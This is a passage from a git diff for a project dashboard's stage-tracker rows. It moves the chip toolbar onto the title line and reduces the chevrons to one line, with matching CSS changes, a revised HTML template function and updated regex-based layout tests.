'chips may still wrap when a line is genuinely full'); + const t = rule('.ham-head-main > .ham-title'); + assert.match(t, /flex: 1 1 0/, 'a zero flex-basis keeps the title on the chip line and fills the rest of it (a max-content basis drops the whole title to line 2)'); + assert.match(t, /min-width: 0/); + assert.match(t, /white-space: normal/, 'the title wraps its own words only when there is no room'); + const prRef = rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line'); + assert.match(prRef, /flex: 1 1 0; min-width: min\(100%, 20em\)/, 'the PR ref shares its line with the right-anchored pills'); + assert.match(rule('.ham-head-pr .ham-pr-title'), /flex: 1 1 0/); +}); + test('long metadata wraps in bounded slots and the narrow layout resets both grid axes', () => { assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr'), /flex-wrap: wrap/); - assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /flex-wrap: wrap/); - assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /max-width: 100%/); - assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /justify-content: flex-end/); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-badges'), /flex-wrap: wrap/); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-badges'), /max-width: 100%/); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-badges'), /justify-content: flex-end/); assert.match(rule('.ham-head-cols .ham-badge'), /white-space: normal; overflow-wrap: anywhere/); - assert.match(html, /\.ham-head-main > \.ham-title, \.ham-head-pr \.ham-pr-title \{ white-space: normal; overflow: visible; overflow-wrap: anywhere; \}/); + assert.match(html, /\.ham-head-main > \.ham-title \{ flex: 1 1 0; min-width: 0; white-space: normal; overflow: visible; overflow-wrap: anywhere; \}/); + assert.match(html, /\.ham-head-pr \.ham-pr-title \{ flex: 1 1 0; white-space: normal; overflow: visible; overflow-wrap: anywhere; \}/); assert.match(html, /@media \(max-width: 1100px\) \{[\s\S]*?\.ham-head-cols \.ham-strip > \.ham-seg \{ grid-column: 1 \/ -1; grid-row: auto; padding: 0; \}/); assert.doesNotMatch(html, /\.ham-strip:not\(\.ham-head-cols\)/, 'the old ancestor/element selector mistake must not return'); }); -test('issue-only, linked and PR-only controls occupy one full-row far-right toolbar, independent of title spans', () => { +test('issue-only, linked and PR-only controls ride the title line, right-anchored in the PR span, never a line of their own', () => { for (const [number, label, history, blocked] of [ [15329, 'Let hive decide', 1, false], [16242, '', 0, false], @@ -187,23 +211,30 @@ test('issue-only, linked and PR-only controls occupy one full-row far-right tool ctx.stageTrackerLeadButtonHtml = () => label ? '<button type="button" class="ham-lead-act" data-action="fixtureAction">' + label + '</button>' : ''; for (const item of [{ ...issue, number, is_tracker: number === 16242 }, { ...issue, number, linked_prs: [pr] }, { ...pr, number }]) { const rendered = ctx.stageTrackerRowHtml(item, [], { nowMs: 1 }); - const toolbar = rendered.match(/<li class="ham-seg cap"><span class="ham-badges">([^]*?)<\/li>/)[1]; + assert.doesNotMatch(rendered, /<li class="ham-seg cap">/, 'the title line has no separate toolbar cell'); + const prCell = rendered.match(/<li class="ham-seg ham-head-pr[^"]*"[^>]*>([^]*?)<\/li>/)[1]; + const toolbar = prCell.match(/<span class="ham-badges">([^]*)<\/span>$/); + assert.ok(toolbar, 'chips are the trailing flex item of the PR cell'); + const chipsHtml = toolbar[1]; + if (!item.linked_prs && item.kind === 'issue') assert.match(rendered, /<li class="ham-seg ham-head-pr ham-head-tools">/, 'an issue without PR refs still gets the PR cell for its chips'); if (label) { - assert.ok(toolbar.includes(label)); + assert.ok(chipsHtml.includes(label)); assert.equal(rendered.split(label).length - 1, 1, 'action is not duplicated to fake alignment'); - assert.match(toolbar, /type="button"[^]*data-action="fixtureAction"/); + assert.match(chipsHtml, /type="button"[^]*data-action="fixtureAction"/); } - if (history) assert.match(toolbar, /ham-acted" tabindex="0">history 1/); - if (blocked) assert.match(toolbar, />blocked</); + if (history) assert.match(chipsHtml, /ham-acted" tabindex="0">history 1/); + if (blocked) assert.match(chipsHtml, />blocked</); const lead = rendered.match(/<li class="ham-seg ham-head-lead[^"]*">([^]*?)<\/li>/)[1]; assert.doesNotMatch(lead, /ham-lead-act|ham-acted|>blocked</); } } - const toolbar = rule('.ham-head-cols .ham-seg.cap'); - assert.match(toolbar, /grid-column: 1 \/ -1; grid-row: 2/); + const toolbar = rule('.ham-head-cols .ham-seg.ham-head-pr > .ham-badges'); + assert.match(toolbar, /position: static/); + assert.match(toolbar, /margin-left: auto/); assert.match(toolbar, /justify-content: flex-end/); - assert.doesNotMatch(toolbar, /position: absolute|left:|right:/); - assert.match(html, /@media \(max-width: 1100px\) \{[^]*?\.ham-head-cols \.ham-seg\.cap \{[^}]*justify-content: flex-end/); + assert.doesNotMatch(toolbar, /position: absolute|[^-]left:|[^-]right:/, "flow layout, never an absolute overlay over the title"); + assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr'), /grid-row: 1/, 'the PR cell, and so its chips, shares the title line'); + assert.doesNotMatch(html, /\.ham-head-cols [^{]*\{[^}]*grid-row: 2/, 'nothing in the title block claims a second grid row'); }); test('12:01 screenshot density: real multi-PR/sub-row structure preserves distinct headers and full-width control ownership', () => { @@ -227,7 +258,8 @@ test('12:01 screenshot density: real multi-PR/sub-row structure preserves distin assert.equal((rendered.match(/class="ham-strip-row ham-head-cols"/g) || []).length, 1 + children.length); for (const header of rendered.matchAll(/<div class="ham-strip-row ham-head-cols"([^]*?)<\/ol>/g)) { assert.match(header[1], /data-ham-pr-start="4"/); - assert.equal((header[1].match(/class="ham-seg cap"/g) || []).length, 1, 'one separate far-right toolbar per identity'); + assert.equal((header[1].match(/class="ham-badges"/g) || []).length, 1, 'one right-anchored toolbar per identity, on its title line'); + assert.doesNotMatch(header[1], /class="ham-seg cap"/, 'no separate toolbar line'); const lead = header[1].match(/ham-head-lead[^"]*">([^]*?)<\/li>/)[1]; assert.doesNotMatch(lead, /ham-badge-waiting|ham-lead-act|ham-acted/, 'activity/action/history controls never overprint the issue title slot'); } @@ -235,12 +267,12 @@ test('12:01 screenshot density: real multi-PR/sub-row structure preserves distin const start = rendered.indexOf('data-ham-sub-key="pr:' + pr.number + '"'); assert.ok(start >= 0); const sub = rendered.slice(start).split('<div class="ham-sub')[0]; - const metadata = sub.match(/class="ham-seg ham-head-pr"[^>]*>([^]*?)<\/li>/)[1]; - assert.ok(metadata.includes(esc(pr.title)), 'complete PR title stays in its own PR-side cell'); - assert.ok(metadata.includes('>' + pr.base_ref + '</span>')); - assert.doesNotMatch(metadata, /ham-badge-waiting|ham-lead-act/); - const toolbar = sub.match(/class="ham-seg cap"><span class="ham-badges">([^]*?)<\/li>/)[1]; - if (pr.push) assert.ok(toolbar.includes(esc('@' + pr.push.login)), 'owner/activity pill is separately right-anchored'); + const metadata = sub.match(/class="ham-seg ham-head-pr"[^>]*>([^]*?)<span class="ham-badges">([^]*?)<\/span><\/li>/); + assert.ok(metadata, 'PR metadata then its chips close the PR cell'); + assert.ok(metadata[1].includes(esc(pr.title)), 'complete PR title stays in its own PR-side cell'); + assert.ok(metadata[1].includes('>' + pr.base_ref + '</span>')); + assert.doesNotMatch(metadata[1], /ham-badge-waiting|ham-lead-act/, 'chips follow the metadata, never interleave it'); + if (pr.push) assert.ok(metadata[2].includes(esc('@' + pr.push.login)), 'owner/activity pill trails the PR line, right-anchored'); } } assert.equal(multi, 2, 'both #16404 and #16438 exercise multiple linked PRs'); diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index 625e2d013b..59f466e8a8 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -29,10 +29,12 @@ assert.ok(row.includes('<span class="ham-since">30m</span>'), row); // The age and the chip belong to the strip they describe, not to a title line // that may wrap: the since text closes the strip row (an empty spacer keeps // the title line's width) and the chip is the last thing in the title line's -// ghost strip, right above the strip's cap. +// ghost strip β€” trailing the PR cell (ham-head-tools when there is no PR), +// right-anchored on the title line, never a toolbar line of its own. assert.ok(row.indexOf('<span class="ham-since">30m</span>') > row.indexOf('aria-label="Pipeline progress"'), 'since sits on the strip row, in line with the chevrons'); assert.ok(/aria-label="Pipeline progress">[\s\S]*?<\/ol>\s*<span class="ham-since">30m<\/span>\s*<\/div>/.test(row), 'the strip row ends with the since cell'); -assert.ok(/<li class="ham-seg cap"><span class="ham-badges">[\s\S]*?<\/span><\/li><\/ol><span class="ham-since"><\/span><\/div>\s*<\/div>\s*<div class="ham-strip-row">/.test(row), 'the chip cell closes the title line, directly above its own strip row'); +assert.ok(/<li class="ham-seg ham-head-pr ham-head-tools"><span class="ham-badges">[\s\S]*?<\/span><\/li><\/ol><span class="ham-since"><\/span><\/div>\s*<\/div>\s*<div class="ham-strip-row">/.test(row), 'the chip cell closes the title line, directly above its own strip row'); +assert.ok(!row.includes('<li class="ham-seg cap">'), 'no separate toolbar line between the title and the chevrons'); assert.ok(row.indexOf('<div class="ham-row-head">') < row.indexOf('ham-badges') && row.indexOf('ham-badges') < row.indexOf('aria-label="Pipeline progress"'), 'chip and strip share one row container'); assert.ok(row.includes('ham-kind-ico'), 'kind icon'); assert.strictEqual((strip(row).match(/<svg class="ham-ico( ham-history-ico)?"/g) || []).length, 7, 'native icons remain; unknown CI and Review each use the existing column glyph'); @@ -495,7 +497,7 @@ sr = subs(row); assert.ok(order.every((i, k) => i >= 0 && (k === 0 || i > order[k - 1])), 'connector, PR link, lineage chip, base pill in that order as siblings: ' + cell); assert.ok(cell.indexOf('<span class="ham-badge">v5</span>') > cell.indexOf('</a>', cell.indexOf('<a class="ham-pr-ref"')), 'the base pill is a sibling after the PR link, not inside it: ' + cell); assert.ok(/<a class="ham-pr-ref"[^>]*title="docs: remove duplicate README run routes Β· /.test(cell), 'the PR link hover starts with the full title: ' + cell); - assert.ok(!head.includes('ham-lineage" title') || head.indexOf('ham-lineage') < head.indexOf('<li class="ham-seg cap">'), 'the lineage chip rides the PR cell, not the chip cap: ' + head); + assert.ok(!head.includes('ham-lineage" title') || head.indexOf('ham-lineage') < head.indexOf('<span class="ham-badges">'), 'the lineage chip rides the PR cell ahead of the modifier chips, not the chip toolbar: ' + head); assert.strictEqual((head.match(/ham-lineage/g) || []).length, 1, 'the lineage chip is drawn once'); } // The same order on an issue row with a single covering PR: lineage chip @@ -520,7 +522,7 @@ assert.deepStrictEqual(segStates(subs(row)[0]), [B, B, B, D, D, D, 'active cap m // Title line: lead cell (Open..Claimed) and PR cell (PR in progress..Merge gate) each truncate with an ellipsis; the full title is on the element itself. row = stageTrackerRowHtml({ repo: 'acme/console', number: 12, kind: 'issue', title: 'A very long issue title that must not wrap', stage: 10 }, stages, ctx); // No PR to list: the lead cell widens over the empty PR column so a long title has room before it truncates. -assert.ok(/<li class="ham-seg ham-head-lead ham-head-wide"><div class="ham-head-main">[\s\S]*?<span class="ham-title" title="A very long issue title that must not wrap">A very long issue title that must not wrap<\/span>[\s\S]*?<\/li><li class="ham-seg cap"><span class="ham-badges"><\/span><\/li>/.test(row), row); +assert.ok(/<li class="ham-seg ham-head-lead ham-head-wide"><div class="ham-head-main">[\s\S]*?<span class="ham-title" title="A very long issue title that must not wrap">A very long issue title that must not wrap<\/span>[\s\S]*?<\/li><li class="ham-seg ham-head-pr ham-head-tools"><span class="ham-badges"><\/span><\/li>/.test(row), row); // Sort key: a covered issue counts as far along as its furthest PR. assert.strictEqual(stageTrackerSortKey({ kind: 'issue', stage: 40, linked_prs: [{ number: 1, stage: 30 }, { number: 2, stage: 90 }] }, stages).anchor, 80); // An issue parked on 045 (or a pre-045 085) with no PR sorts at Actionable, not past the merge gate. diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 156832a78b..482254eb9c 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -85,7 +85,7 @@ grid, the slot takes the Merge gate column plus the βœ“ cap and right-aligns the chip over the gate. It never wraps with the filter bar, so the chip stays put whatever the toolbar does. */ - .ham-row { display: grid; grid-template-columns: minmax(0, 1fr); gap: var(--sp-2); padding: var(--sp-5) var(--sp-2); } + .ham-row { display: grid; grid-template-columns: minmax(0, 1fr); gap: var(--sp-2); padding: var(--sp-4) var(--sp-2); } /* Each entry is fenced by a hairline above it and lights up as a whole on hover, so a tall row (wrapped title, ↳ PR line) still reads as one block: its chip and age can only belong to the strip they sit beside. */ @@ -93,9 +93,12 @@ .ham-row:hover { background: color-mix(in srgb, var(--text) 4%, transparent); border-radius: var(--r-sm); } /* Title line = a ghost strip with the same column widths as the chevrons below: a lead cell spanning Open..Claimed carries the number + title, a - PR cell spanning PR in progress..Merge gate carries "[icon] #N title", - modifiers get a separate, full-width right-anchored toolbar line. The since column is - an empty spacer (the time on step rides the strip row's since cell). + PR cell spanning PR in progress..Merge gate carries "[icon] #N title" + with the modifier chips / action buttons right-anchored on that same + line (margin-left: auto), wrapping under the PR metadata only when + there is no room. No separate toolbar line: the chevrons sit directly + under the title line. The since column is an empty spacer (the time on + step rides the strip row's since cell). Explicit grid spans share the chevrons' tracks, including the two concurrent CI/Review tracks, without content changing their widths. */ .ham-row-head { position: relative; display: flex; align-items: flex-start; gap: var(--sp-3); font-size: var(--fs-sm); min-width: 0; line-height: 1.3; } @@ -107,15 +110,26 @@ .ham-head-cols .ham-seg.ham-head-pr > .ham-linked-ico { flex: 0 0 auto; } .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage, .ham-head-cols .ham-seg.ham-head-pr > .ham-adopted-from { flex: 0 1 auto; min-width: 0; max-width: 100%; flex-wrap: wrap; } .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage > .ham-author-ico { vertical-align: text-bottom; margin-right: var(--sp-1); } - .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line { flex: 0 1 auto; } - .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; grid-row: 2; min-width: 0; overflow: visible; align-items: flex-end; justify-content: flex-end; padding: 0; } - .ham-head-cols .ham-seg.cap:has(> .ham-badges:empty) { display: none; } - .ham-head-cols .ham-seg.cap .ham-badges { position: static; flex-wrap: wrap; justify-content: flex-end; min-width: 0; max-width: 100%; } + /* The PR ref shares the first line with the right-anchored pills: it + grows into the free space but keeps a readable floor, so pills wrap + under it only when the line is genuinely full. */ + .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line { flex: 1 1 0; min-width: min(100%, 20em); } + .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line > .ham-pr-ref { flex: 1 1 0; min-width: 0; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-badges { position: static; flex: 0 1 auto; flex-wrap: wrap; justify-content: flex-end; margin-left: auto; min-width: 0; max-width: 100%; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-badges:empty { display: none; } + .ham-head-cols .ham-seg.ham-head-tools { align-items: flex-start; } + .ham-head-cols .ham-seg.ham-head-tools:has(> .ham-badges:empty) { display: none; } .ham-head-cols .ham-badges > :is(button, a) { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } .ham-head-cols .ham-badge { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } .ham-head-main { display: flex; flex: 1; flex-wrap: wrap; align-items: center; gap: var(--sp-3); min-width: 0; } .ham-head-main > .ham-badge { flex: 0 1 auto; } - .ham-head-main > .ham-title, .ham-head-pr .ham-pr-title { white-space: normal; overflow: visible; overflow-wrap: anywhere; } + /* The title fills whatever is left of the first line beside its chips + (flex-basis 0) and only wraps its own words when there is no room; + with a max-content basis (flex: 0 1 auto) a wrapping flex container + drops the whole title onto a second line as soon as it cannot fit + entirely, even with half the row free (hivecommons/hive#16454). */ + .ham-head-main > .ham-title { flex: 1 1 0; min-width: 0; white-space: normal; overflow: visible; overflow-wrap: anywhere; } + .ham-head-pr .ham-pr-title { flex: 1 1 0; white-space: normal; overflow: visible; overflow-wrap: anywhere; } .ham-head-pr .ham-pr-ref, .ham-head-pr .ham-pr-line { flex-wrap: wrap; overflow: visible; } .ham-pr-ref { display: inline-flex; align-items: center; gap: var(--sp-2); min-width: 0; max-width: 100%; overflow: hidden; color: var(--muted); text-decoration: none; font-size: var(--fs-xs); } .ham-pr-ref:hover { color: var(--text); } @@ -316,7 +330,7 @@ .ham-badge-reroute { color: var(--status-warn); border-color: color-mix(in srgb, var(--status-warn) 55%, transparent); font-weight: var(--fw-medium); display: inline-flex; align-items: center; gap: var(--sp-1); } .ham-badge-reroute .ham-presence-dot { width: 0.5em; height: 0.5em; border-radius: var(--r-pill); background: var(--text-faint); flex: 0 0 auto; } .ham-badge-reroute.ham-reroute-online .ham-presence-dot { background: var(--status-ok); } - .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 2; --ham-chevron-line-height: 1.3; } + .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 1; --ham-chevron-line-height: 1.3; } .ham-seg { position: relative; flex: 1 1 0; min-width: 0; display: flex; align-items: center; justify-content: center; padding: 0 var(--sp-4) 0 var(--sp-5); font-size: var(--fs-xs); font-weight: var(--fw-medium); white-space: nowrap; overflow: hidden; clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%, var(--ham-notch) 50%); } /* The concurrent CI / Review lanes are chevrons like every other stage (same clip-path, padding and height β€” the boxed card opt-out of @@ -388,15 +402,16 @@ .ham-gate-ico { display: inline-flex; align-items: center; margin-right: var(--sp-1); cursor: help; } .ham-gate-ico .ham-ico { width: 12px; height: 12px; } .ham-gate-detail { font-weight: normal; opacity: 0.85; font-variant-numeric: tabular-nums; } - /* All physical chevrons share a two-line text budget, but a row is only - as tall as its longest caption: one line of text β†’ a one-line chevron, - two lines β†’ two (the clamp below caps it there). The grid row sizes - to content with a one-line floor so icon-only cells and siblings - stretch to the row's tallest chevron, never to a fixed box. The - portal tooltip is outside the clipped polygon; keyboard focus - exposes the same full text. */ - .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)), auto); } - .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } + /* Every physical chevron is one caption line tall (--ham-chevron-text-lines: + 1, the clamp below ellipsises the rest): the strip rides directly under + the title line as a ~20px band, the density the tracker had before + hivecommons/hive#16454 doubled it with a two-line budget and sp-2 + vertical padding. The grid row sizes to content with that one-line + floor so icon-only cells and siblings share the row's height, never a + fixed box. The portal tooltip is outside the clipped polygon; keyboard + focus exposes the same full text. */ + .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-1) + 2 * var(--line-width)), auto); } + .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-1) calc(var(--ham-notch) + var(--sp-2)); } .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } @@ -669,7 +684,7 @@ .ham-row { position: relative; } .ham-row:focus-visible { outline: var(--focus-ring-width) solid var(--accent); outline-offset: calc(-1 * var(--focus-ring-width)); border-radius: var(--r-sm); } .ham-row.ham-selected { background: color-mix(in srgb, var(--accent) 10%, transparent); box-shadow: inset var(--sp-1) 0 0 var(--accent); border-radius: var(--r-sm); } - .ham-row-tools { position: absolute; left: calc(-1 * var(--ham-gutter)); top: var(--sp-5); width: var(--ham-gutter); display: flex; flex-direction: column; align-items: center; gap: var(--sp-1); } + .ham-row-tools { position: absolute; left: calc(-1 * var(--ham-gutter)); top: var(--sp-4); width: var(--ham-gutter); display: flex; flex-direction: column; align-items: center; gap: var(--sp-1); } /* A nested PR sub-row carries its own gutter (checkbox + β‹―), so each PR under an issue is selected and acted on by itself (two PRs under one issue, one decision each β€” the owner's 2026-10-28 report). The @@ -777,7 +792,6 @@ .ham-head-cols > .ham-strip { display: contents; } .ham-head-cols .ham-strip > .ham-seg { grid-column: 1 / -1; grid-row: auto; padding: 0; } .ham-head-cols .ham-head-lead:empty { display: none; } - .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; min-width: 0; justify-content: flex-end; } .ham-head-cols > .ham-since { display: none; } .ham-row .ham-seg { padding: 0 var(--sp-2) 0 var(--sp-3); } .ham-row .ham-seg.cap { flex-basis: 2em; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-layout.js b/src/pkg/dashboard/static-src/js/tracker-row-layout.js index 204dc3bb21..3d887e7022 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-layout.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-layout.js @@ -1,15 +1,21 @@ // Ghost strip for a title line: the lead cell (Open..Claimed) carries // the item's own number + title, the PR cell (PR in progress..Merge gate) - // the given refs. Modifier chips wrap on their own full-width, - // right-anchored line rather than overflowing the history cap into titles. + // the given refs followed by the modifier chips / action buttons, + // right-anchored on that same line (margin-left: auto). The chips ride + // the title line rather than a second full-width toolbar line, so the + // chevrons sit directly under the title (hivecommons/hive#16454 left a + // one-line band between them); when the PR metadata leaves no room the + // chips wrap under it, content-driven, never a fixed row. A row without + // PR refs still gets the PR cell (ham-head-tools) so its chips sit on + // the title line in the PR span, not on a line of their own. // The since column is an empty spacer here (same width as the strip // row's, which carries the time on step): a wrapped title must not float // the age away from the chevrons it describes. function stageTrackerHeadColsHtml(prRefs, leadHtml, chipsHtml, prTargetKey) { const wide = !(prRefs && prRefs.length); const prStart = STAGE_TRACKER_PATH.indexOf(STAGE_TRACKER_PR_COLUMN) + 1; - return `<div class="ham-strip-row ham-head-cols" data-ham-pr-start="${prStart}"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li>${wide ? '' : `<li class="ham-seg ham-head-pr"${prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${prRefs.join('')}</li>`}<li class="ham-seg cap"><span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; + return `<div class="ham-strip-row ham-head-cols" data-ham-pr-start="${prStart}"><ol class="ham-strip"><li class="ham-seg ham-head-lead${wide ? ' ham-head-wide' : ''}">${leadHtml || ''}</li><li class="ham-seg ham-head-pr${wide ? ' ham-head-tools' : ''}"${!wide && prTargetKey ? ` data-ham-target-key="${esc(prTargetKey)}"` : ''}>${wide ? '' : prRefs.join('')}<span class="ham-badges">${chipsHtml || ''}</span></li></ol><span class="ham-since"></span></div>`; } function stageTrackerSinceHtml(item, nowMs) { diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index e4bf198cac..0447a9ea4c 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1422,7 +1422,7 @@ grid, the slot takes the Merge gate column plus the βœ“ cap and right-aligns the chip over the gate. It never wraps with the filter bar, so the chip stays put whatever the toolbar does. */ - .ham-row { display: grid; grid-template-columns: minmax(0, 1fr); gap: var(--sp-2); padding: var(--sp-5) var(--sp-2); } + .ham-row { display: grid; grid-template-columns: minmax(0, 1fr); gap: var(--sp-2); padding: var(--sp-4) var(--sp-2); } /* Each entry is fenced by a hairline above it and lights up as a whole on hover, so a tall row (wrapped title, ↳ PR line) still reads as one block: its chip and age can only belong to the strip they sit beside. */ @@ -1430,9 +1430,12 @@ .ham-row:hover { background: color-mix(in srgb, var(--text) 4%, transparent); border-radius: var(--r-sm); } /* Title line = a ghost strip with the same column widths as the chevrons below: a lead cell spanning Open..Claimed carries the number + title, a - PR cell spanning PR in progress..Merge gate carries "[icon] #N title", - modifiers get a separate, full-width right-anchored toolbar line. The since column is - an empty spacer (the time on step rides the strip row's since cell). + PR cell spanning PR in progress..Merge gate carries "[icon] #N title" + with the modifier chips / action buttons right-anchored on that same + line (margin-left: auto), wrapping under the PR metadata only when + there is no room. No separate toolbar line: the chevrons sit directly + under the title line. The since column is an empty spacer (the time on + step rides the strip row's since cell). Explicit grid spans share the chevrons' tracks, including the two concurrent CI/Review tracks, without content changing their widths. */ .ham-row-head { position: relative; display: flex; align-items: flex-start; gap: var(--sp-3); font-size: var(--fs-sm); min-width: 0; line-height: 1.3; } @@ -1444,15 +1447,26 @@ .ham-head-cols .ham-seg.ham-head-pr > .ham-linked-ico { flex: 0 0 auto; } .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage, .ham-head-cols .ham-seg.ham-head-pr > .ham-adopted-from { flex: 0 1 auto; min-width: 0; max-width: 100%; flex-wrap: wrap; } .ham-head-cols .ham-seg.ham-head-pr > .ham-lineage > .ham-author-ico { vertical-align: text-bottom; margin-right: var(--sp-1); } - .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line { flex: 0 1 auto; } - .ham-head-cols .ham-seg.cap { grid-column: 1 / -1; grid-row: 2; min-width: 0; overflow: visible; align-items: flex-end; justify-content: flex-end; padding: 0; } - .ham-head-cols .ham-seg.cap:has(> .ham-badges:empty) { display: none; } - .ham-head-cols .ham-seg.cap .ham-badges { position: static; flex-wrap: wrap; justify-content: flex-end; min-width: 0; max-width: 100%; } + /* The PR ref shares the first line with the right-anchored pills: it + grows into the free space but keeps a readable floor, so pills wrap + under it only when the line is genuinely full. */ + .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-ref, .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line { flex: 1 1 0; min-width: min(100%, 20em); } + .ham-head-cols .ham-seg.ham-head-pr > .ham-pr-line > .ham-pr-ref { flex: 1 1 0; min-width: 0; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-badges { position: static; flex: 0 1 auto; flex-wrap: wrap; justify-content: flex-end; margin-left: auto; min-width: 0; max-width: 100%; } + .ham-head-cols .ham-seg.ham-head-pr > .ham-badges:empty { display: none; } + .ham-head-cols .ham-seg.ham-head-tools { align-items: flex-start; } + .ham-head-cols .ham-seg.ham-head-tools:has(> .ham-badges:empty) { display: none; } .ham-head-cols .ham-badges > :is(button, a) { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } .ham-head-cols .ham-badge { min-width: 0; max-width: 100%; white-space: normal; overflow-wrap: anywhere; } .ham-head-main { display: flex; flex: 1; flex-wrap: wrap; align-items: center; gap: var(--sp-3); min-width: 0; } .ham-head-main > .ham-badge { flex: 0 1 auto; } - .ham-head-main > .ham-title, .ham-head-pr .ham-pr-title { white-space: normal; overflow: visible; overflow-wrap: anywhere; } + /* The title fills whatever is left of the first line beside its chips + (flex-basis 0) and only wraps its own words when there is no room; + with a max-content basis (flex: 0 1 auto) a wrapping flex container + drops the whole title onto a second line as soon as it cannot fit + entirely, even with half the row free (hivecommons/hive#16454). */ + .ham-head-main > .ham-title { flex: 1 1 0; min-width: 0; white-space: normal; overflow: visible; overflow-wrap: anywhere; } + .ham-head-pr .ham-pr-title { flex: 1 1 0; white-space: normal; overflow: visible; overflow-wrap: anywhere; } .ham-head-pr .ham-pr-ref, .ham-head-pr .ham-pr-line { flex-wrap: wrap; overflow: visible; } .ham-pr-ref { display: inline-flex; align-items: center; gap: var(--sp-2); min-width: 0; max-width: 100%; overflow: hidden; color: var(--muted); text-decoration: none; font-size: var(--fs-xs); } .ham-pr-ref:hover { color: var(--text); } @@ -1653,7 +1667,7 @@ .ham-badge-reroute { color: var(--status-warn); border-color: color-mix(in srgb, var(--status-warn) 55%, transparent); font-weight: var(--fw-medium); display: inline-flex; align-items: center; gap: var(--sp-1); } .ham-badge-reroute .ham-presence-dot { width: 0.5em; height: 0.5em; border-radius: var(--r-pill); background: var(--text-faint); flex: 0 0 auto; } .ham-badge-reroute.ham-reroute-online .ham-presence-dot { background: var(--status-ok); } - .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 2; --ham-chevron-line-height: 1.3; } + .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; 